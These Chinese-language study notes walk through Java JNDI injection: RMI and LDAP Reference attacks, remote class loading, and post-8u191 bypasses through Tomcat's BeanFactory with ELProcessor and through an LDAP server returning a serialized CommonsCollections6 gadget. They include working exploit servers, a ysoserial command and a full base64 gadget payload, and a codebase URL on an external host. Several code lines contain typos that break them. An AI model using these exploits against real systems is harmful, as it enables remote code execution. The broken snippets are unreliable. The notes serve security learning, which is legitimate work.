JAVA之JNDI
0x00简介
根据官方文档https://docs.oracle.com/javase/tutorial/jndi/overview/index.html
什么是 jndi,JNDI 全称为 Java Naming and Directory Interface,即 Java 名称与目录接口。也就是一个名字对应一个 Java 对象,就是一个对象对应一个字符串,可以把一个对象绑定到一个字符串上面
jndi 在 jdk 里面支持以下四种服务
- LDAP:轻量级目录访问协议
- 通用对象请求代理架构(CORBA);通用对象服务(COS)名称服务
- Java 远程方法调用(RMI) 注册表
- DNS 服务
前三种对应的都是对象,最后一种dns是ip对应域名就是dns服务的功能
0x01JNDI结合RMI
这里相当于再看一下RMI的实现了
还是先创建一套RMI的基础服务就是一个接口一个server,一个client,一个对象
然后创建JNDI
server
public class JNDIRMIServer {
public static void main(String[] args) throws Exception{
//这个叫上下文,这个是一定要先创建的
InitialContext initialContext = new InitialContext();
// Registry registry = LocateRegistry.createRegistry(1099);
//然后把那个对象绑定到RMI这个地址上
initialContext.rebind("rmi://localhost:1099/remoteObj", new RemoteObjimpl());
}
}
然后再通过Client去连接
public class JNDIRMIClient {
public static void main(String[] args) throws Exception{
InitialContext initialContext = new InitialContext();
IRemoteObj remoteObj = (IRemoteObj) initialContext.lookup("rmi://localhost:1099/remoteObj");
System.out.println(remoteObj.sayHellow("xiaoli"));
}
}
其实到这里就会有些思考,它似乎好像通过RMI去这个协议这个地址去调用了那个对象,但是它好像又没有注册中心那它是找到这个对象的呢就感觉他们直接的通信好像少了点东西(这是我个人的感觉吧),我在想它既然调用的是RMI那么会不会调用到原生的RMI呢,我们打个断点进去调试一下
我们可以发现它会在这个
其实这个就是RMI中的lookup调用的就是原生的lookup,这里就会出现一个攻击点,就是在JNDIRMIClient中如果我们查询的RMI地址是可控的我们就可以来查询我们构建的恶意的注册中心,然后去执行一些代码,这里是可控的话
但是这不是我们传统的JNDI注入,传统的JNDI注入是怎么样的呢?
0x02引用对象导致的注入
这里是JNDI的原生漏洞这个漏洞被称作 Jndi 注入漏洞,它与所调用服务无关,不论你是 RMI,DNS,LDAP 或者是其他的,都会存在这个问题。这个问题在121的版本已经被修复了我们还是简单的看一下原理和利用
原理就是一个引用对象吧,在服务端创建一个引用对象 Reference
对象,
public class JNDIRMIServer {
public static void main(String[] args) throws Exception{
//这个叫上下文,这个是一定要先创建的
InitialContext initialContext = new InitialContext();
Reference reference = new Reference("Calc","Calc","http://localhost:7777/");;
// Registry registry = LocateRegistry.createRegistry(1099);
//然后把那个对象绑定到RMI这个地址上
initialContext.rebind("rmi://localhost:1099/remoteObj", reference);
}
}
然后在本地挂一个恶意类,恶意的类就是最简单的弹出计算器
就可以看到这样的效果,大概可以猜到应该是进行了类的加载,还是那个原因字节码文件不匹配,项目调试的时候好像java的版本调高了然后我运行的时候给单独文件调了java的版本,跟着视频和文章去看了一下然后自己手动找了一下那些类就没有动调了就纯静态的去看,就是一路往下跟踪那些lookup方法然后中间有一些判断经过最后到达RMI的原生的lookup方法,大概比较重要的几个方法
在先前说registryContext中会到这个方法
下面有个this.registry方法调用进去就是RMI的原生方法,然后继续往下走,走到一个叫decodeObject方法
更进来看到 getObjectInstance
看到这个方法应该就知道IM应该会有
接着往下走会走到一个叫getObjectFactoryFromReference()
的方法,这个方法会去获取我们的恶意类
继续往下走,获取到 codebase,并且进行 helper.loadClass(),这里就是我们前面讲到的动态加载类的一个方法 ———— URLClassLoader
最后走进来,就找到了这个newInstance
整个工程就是在于调用了lookup方法
0x03JNDI和LDAP的注入
- ldap 是一种协议,并不是 Java 独有的。
是一种通用的协议名字叫轻量级目录访问协议
,从名字就可以看出来这是一种目录访问控制的一种协议
LDAP(Light Directory Access Portocol),它是基于X.500标准的轻量级目录访问协议。
目录是一个为查询、浏览和搜索而优化的数据库,它成树状结构组织数据,类似文件目录一样。
目录数据库和关系数据库不同,它有优异的读性能,但写性能差,并且没有事务处理、回滚等复杂功能,不适于存储修改频繁的数据。所以目录天生是用来查询的,就好象它的名字一样。
LDAP目录服务是由目录数据库和一套访问协议组成的系统。
JNDI的ldap注入就是一种简单的绕过,看一下简单的实现,还是先启动一个LDAP的server
引入一个依赖
<dependency>
<groupId>com.unboundid</groupId>
<artifactId>unboundid-ldapsdk</artifactId>
<version>3.2.0</version>
<scope>test</scope>
</dependency>
LdapServer
这里用一个叫做Apache Directory Studio的软件来启动一个LADP服务
这里主要LDAP得是一个目录控制的协议,那么目录控制就得存在web才可以控制,就是我们得先用python启动一个server
这里是要把自己的恶意对象先绑定到LDAP上然后用ladp协议去访问我们的恶意对象
运行一下Server
public class JNDIRMIServer {
public static void main(String[] args) throws Exception{
//这个叫上下文,这个是一定要先创建的
InitialContext initialContext = new InitialContext();
Reference reference = new Reference("TestRef","TestRef","http://localhost:7777/");;
// Registry registry = LocateRegistry.createRegistry(1099);
//然后把那个对象绑定到RMI这个地址上
initialContext.rebind("ldap://localhost:10389/remoteObj/cn=test,cd=example,dc=com", reference);
}
}
这个时候就体现出来已经绑定上来了,然后再直接lookup一下这个Ldap就行了
import javax.naming.InitialContext;
public class JNDIRMIClient {
public static void main(String[] args) throws Exception{
InitialContext initialContext = new InitialContext();
initialContext.lookup("idap://localhost:10389/cn=test,dc=example,dc-com");
}
}
然后就弹出计算机了。
这的原理的话就去做笔记了稍微跟一下就知道了它前面是一些
这个方法是从ldap里面获取一些属性然后他的下一步就是去获取一些属性
走完里面的方法就把这个Reference拿到了,随后就会走到这个方法
往下走,获取这个工厂地址
然后向下走,这里的大概逻辑就是现在这里本地加载一些这个类
本地没获取到,然后就就就获取到那个远程地址后面的loadclass就是经典的远程类加载了就没有必要再更下去了
这个攻击呢还是说利用我们的Reference然后去lookup去调用了类加载机制,这个LDAP+Reference跟RMI的的危害有点像,都是去创建服务端然后挂上恶意类然后让客户端去远程加载,有注意一点的是DAP+Reference的技巧远程加载Factory类不受RMI+Reference中的com.sun.jndi.rmi.object.trustURLCodebase、com.sun.jndi.cosnaming.object.trustURLCodebase等属性的限制,所以适用范围更广。但在JDK 8u191、7u201、6u211之后,com.sun.jndi.ldap.object.trustURLCodebase属性的默认值被设置为false,对LDAP Reference远程工厂类的加载增加了限制,就是LDAP的话影响会更加远一点
0x04JNDI高版本绕过
jdk 版本在 8u191 之前的绕过手段
这个就是ldap,因为在修复的时候它没有修复到ladap的漏洞,我们看一下191之后的修复代码
// 旧版本JDK
/**
* @param className A non-null fully qualified class name.
* @param codebase A non-null, space-separated list of URL strings.
*/
public Class<?> loadClass(String className, String codebase)
throws ClassNotFoundException, MalformedURLException {
ClassLoader parent = getContextClassLoader();
ClassLoader cl =
URLClassLoader.newInstance(getUrlArray(codebase), parent);
return loadClass(className, cl);
}
// 新版本JDK
/**
* @param className A non-null fully qualified class name.
* @param codebase A non-null, space-separated list of URL strings.
*/
public Class<?> loadClass(String className, String codebase)
throws ClassNotFoundException, MalformedURLException {
if ("true".equalsIgnoreCase(trustURLCodebase)) {
ClassLoader parent = getContextClassLoader();
ClassLoader cl =
URLClassLoader.newInstance(getUrlArray(codebase), parent);
return loadClass(className, cl);
} else {
return null;
}
}
上面修改的代码我去idea看一下
这里说的是先用本地的类加载器去加载。如果没加载到 他就会去下面的codebase里面去加载
这里codebase进去话我们发现别原来多了一行判断,要必须是本地类才可以进行加载,其实就是改了一个配置,现在的配置不允许远端加载了
不能远端加载但是它可以本地类加载呗,有类加载就还是会存在利用,我们要在本地找一点恶意的类来利用
jdk 版本在 8u191 之后的绕过方式一(本地恶意类加载)
上面我们提到了其实就是去找本地类加载呗,然后因为Renfence这个类的构造方法需要工厂类,然我们就找实现avax.naming.spi.ObjectFactory
这个接口的方法,然后我也没去跟这个类的具体利用了,大概就是invoke,反射调用,我们自己控制了要调用的东西嘛,然后具体的话是在BeanFactory
这个类的getObjectInstance()
方法中
// JNDI 高版本 jdk 绕过服务端
public class JNDIBypassHighJava {
public static void main(String[] args) throws Exception {
// 实例化Reference,指定目标类为javax.el.ELProcessor,工厂类为org.apache.naming.factory.BeanFactory
InitialContext initialContext = new InitialContext();
ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "",
true,"org.apache.naming.factory.BeanFactory",null);
ref.add(new StringRefAddr("forceString","x=eval"));
ref.add(new StringRefAddr("x","Runtime.getRuntime().exec('cacl)"));
initialContext.rebind("rmi://localhost:1099/remoteobj,ref",ref);
}
}
客户端:
public class Client {
public static void main(String[] args) throws NamingException {
InitialContext initialContext = new InitialContext();
initialContext.lookup("rmi://localhost:1099/remoteObj");
}
}
看一下服务端的实现吧,第一个参数javax.el.ELProcessor
就是常规el表达式然后执行命令这里的原理是反射调用EL表达式造成的命令执行
跟进去看看实现把在lookup处打断点,前面都都是些,进 lookup 这里和之前是一样的直接一直跟进这个方法 decodeObject()
法当中,这个方法当中调用了 getObjectInstance()
看这个方法名字就去获取我传进去的那个工厂类,然后这个工厂类是它本生的是tomcat中的一个类
然后就会本地加载这个类,然后跟下去就是我先前修复哪里会判断拿到的clas是不是空的如果不为空就可以开始调用这个类的无参构造方法
调用了无参构造方法,然后会调用那个工厂类的getObjectInstance
方法
到这里其实就明了了,进来了之后就是BeanFactory
的getObjectInstance
方法,就是这个方法里面会调用那个invoke然后中间还有一些细节的东西
jdk 版本在 8u191 之后的绕过方式一(反序列化)
LDAP 服务端除了支持 JNDI Reference 这种利用方式外,还支持直接返回一个序列化的对象。如果 Java 对象的 javaSerializedData 属性值不为空,则客户端的 obj.decodeObject()
方法就会对这个字段的内容进行反序列化。此时,如果服务端 ClassPath 中存在反序列化咯多功能利用 Gadget 如 CommonsCollections 库,那么就可以结合该 Gadget 实现反序列化漏洞攻击。
首先要把cc链子的payload转换成base64格式
java -jar ysoserial-master.jar CommonsCollections6 'calc' | base64
然后把它加到JNDI服务端里面
import java.text.ParseException;
public class JNDIGadgetServer {
private static final String LDAP_BASE = "dc=example,dc=com";
public static void main (String[] args) {
String url = "http://vps:8000/#ExportObject";
int port = 1234;
try {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen",
InetAddress.getByName("0.0.0.0"),
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));
config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url)));
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println("Listening on 0.0.0.0:" + port);
ds.startListening();
}
catch ( Exception e ) {
e.printStackTrace();
}
}
private static class OperationInterceptor extends InMemoryOperationInterceptor {
private URL codebase;
/**
* */ public OperationInterceptor ( URL cb ) {
this.codebase = cb;
}
/**
* {@inheritDoc}
* * @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult)
*/ @Override
public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);
try {
sendResult(result, base, e);
}
catch ( Exception e1 ) {
e1.printStackTrace();
}
}
protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
e.addAttribute("javaClassName", "Exploit");
String cbstring = this.codebase.toString();
int refPos = cbstring.indexOf('#');
if ( refPos > 0 ) {
cbstring = cbstring.substring(0, refPos);
}
// Payload1: 利用LDAP+Reference Factory
// e.addAttribute("javaCodeBase", cbstring);
// e.addAttribute("objectClass", "javaNamingReference");
// e.addAttribute("javaFactory", this.codebase.getRef());
// Payload2: 返回序列化Gadget
try {
e.addAttribute("javaSerializedData", Base64.decode("rO0ABXNyABFqYXZhLnV0aWwuSGFzaFNldLpEhZWWuLc0AwAAeHB3DAAAAAI/QAAAAAAAAXNyADRvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMua2V5dmFsdWUuVGllZE1hcEVudHJ5iq3SmznBH9sCAAJMAANrZXl0ABJMamF2YS9sYW5nL09iamVjdDtMAANtYXB0AA9MamF2YS91dGlsL01hcDt4cHQAA2Zvb3NyACpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMubWFwLkxhenlNYXBu5ZSCnnkQlAMAAUwAB2ZhY3Rvcnl0ACxMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO3hwc3IAOm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5DaGFpbmVkVHJhbnNmb3JtZXIwx5fsKHqXBAIAAVsADWlUcmFuc2Zvcm1lcnN0AC1bTG9yZy9hcGFjaGUvY29tbW9ucy9jb2xsZWN0aW9ucy9UcmFuc2Zvcm1lcjt4cHVyAC1bTG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5UcmFuc2Zvcm1lcju9Virx2DQYmQIAAHhwAAAABXNyADtvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ29uc3RhbnRUcmFuc2Zvcm1lclh2kBFBArGUAgABTAAJaUNvbnN0YW50cQB+AAN4cHZyABFqYXZhLmxhbmcuUnVudGltZQAAAAAAAAAAAAAAeHBzcgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkludm9rZXJUcmFuc2Zvcm1lcofo/2t7fM44AgADWwAFaUFyZ3N0ABNbTGphdmEvbGFuZy9PYmplY3Q7TAALaU1ldGhvZE5hbWV0ABJMamF2YS9sYW5nL1N0cmluZztbAAtpUGFyYW1UeXBlc3QAEltMamF2YS9sYW5nL0NsYXNzO3hwdXIAE1tMamF2YS5sYW5nLk9iamVjdDuQzlifEHMpbAIAAHhwAAAAAnQACmdldFJ1bnRpbWV1cgASW0xqYXZhLmxhbmcuQ2xhc3M7qxbXrsvNWpkCAAB4cAAAAAB0AAlnZXRNZXRob2R1cQB+ABsAAAACdnIAEGphdmEubGFuZy5TdHJpbmeg8KQ4ejuzQgIAAHhwdnEAfgAbc3EAfgATdXEAfgAYAAAAAnB1cQB+ABgAAAAAdAAGaW52b2tldXEAfgAbAAAAAnZyABBqYXZhLmxhbmcuT2JqZWN0AAAAAAAAAAAAAAB4cHZxAH4AGHNxAH4AE3VyABNbTGphdmEubGFuZy5TdHJpbmc7rdJW5+kde0cCAAB4cAAAAAF0AARjYWxjdAAEZXhlY3VxAH4AGwAAAAFxAH4AIHNxAH4AD3NyABFqYXZhLmxhbmcuSW50ZWdlchLioKT3gYc4AgABSQAFdmFsdWV4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHAAAAABc3IAEWphdmEudXRpbC5IYXNoTWFwBQfawcMWYNEDAAJGAApsb2FkRmFjdG9ySQAJdGhyZXNob2xkeHA/QAAAAAAAAHcIAAAAEAAAAAB4eHg="));
} catch (ParseException exception) {
exception.printStackTrace();
}
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
}
}
触发方式就算ldap直接lookup方法调用就行了
我们调试进lookup方法
来得这个decodeObject
,跟进去向下跟会走到获取Classloader那个方法
然后这就是我们说的判断是否是远程类,是的话就不加字了,然后我们就往下看,然后就跳到了很开心的方法deserializeObject
然后后续就是readObject
然后就形成反序列化了、
0x05小结
对于 JNDI 的注入,最重要的是掌握 JNDI 通用注入,也就是 LDAP + Reference 这一个;在掌握了这个之后,理解高版本 jdk 的绕过也相对简单了,感觉没写得特别仔细,主要是自己记录了一下过程,然后自己去调试了很多
有需要的话推荐一些师傅的文章吧比我的写得详细得多
Java反序列化之JNDI学习 | 芜风 (drun1baby.github.io)
[浅析高低版JDK下的JNDI注入及绕过 Mi1k7ea ]
[浅析JNDI注入 Mi1k7ea ]